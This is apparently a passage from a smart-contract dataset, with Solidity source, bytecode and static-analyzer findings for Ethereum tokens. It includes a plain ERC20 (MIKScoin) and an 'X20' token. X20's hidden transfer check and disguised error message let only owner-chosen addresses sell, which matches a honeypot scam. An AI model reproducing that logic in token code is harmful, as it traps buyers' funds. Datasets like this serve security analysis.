1180c565b51815160001960209485036101000a01908116901991909116179052604080519490920184900390932092860180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff0000000000000000000000000000000000000000000000000000000090941693909317835251855190945084935090508083835b602083106118d05780518252601f1990920191602091820191016118b1565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611932576040519150601f19603f3d011682016040523d82523d6000602084013e611937565b606091505b50909250905081151561194657fe5b50505b826040518082805190602001908083835b602083106119795780518252601f19909201916020918201910161195a565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b811695508c16937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a484600160a060020a031686600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b81810182811015610c4957fe5b6000903b119056fea165627a7a72305820c764b85cb4f8aaadac100943d3aefdee4864b76aaeef96ff6713832741165e840029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,458
0xfbaf48e57cab46f4c2e03edb90a421d9fc6c7cbf
pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MIKScoin is StandardToken { string public constant name = "MIKScoin"; string public constant symbol = "MIKS"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 50 * (10 ** uint256(8)) * (10 ** uint256(decimals)); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102c057806370a082311461032557806395d89b411461037c578063a9059cbb1461040c578063d73dd62314610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610678565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610682565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a3c565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610a50565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a55565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce6565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d2e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d67565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f86565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611182565b6040518082815260200191505060405180910390f35b6040805190810160405280600881526020017f4d494b53636f696e00000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106bf57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561070c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561079757600080fd5b6107e8826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061087b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061094c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a6008600a0a6032020281565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b66576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bfa565b610b79838261120990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f4d494b530000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610da457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610df157600080fd5b610e42826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061101782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561121757fe5b818303905092915050565b6000818301905082811015151561123557fe5b809050929150505600a165627a7a72305820c80ffbd7f05b80ed4b9213d59b5faf4ad1c4afddb5699f87a0bd5957fd68faf00029
{"success": true, "error": null, "results": {}}
7,459
0xa30b1b7409c8d431ecd58300cbb9483cfd3bcbf8
// forked from x10 with fixed bug // DEV :x20.finance // X20 (x20.finance) is a deflationary and gambling token // See https://github.com/IshikawaTravis/X10 for more info pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _ints(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _ints(address sender, address recipient, uint256 amount) internal view virtual{ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){ _Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash); } } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _ErcTokens(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca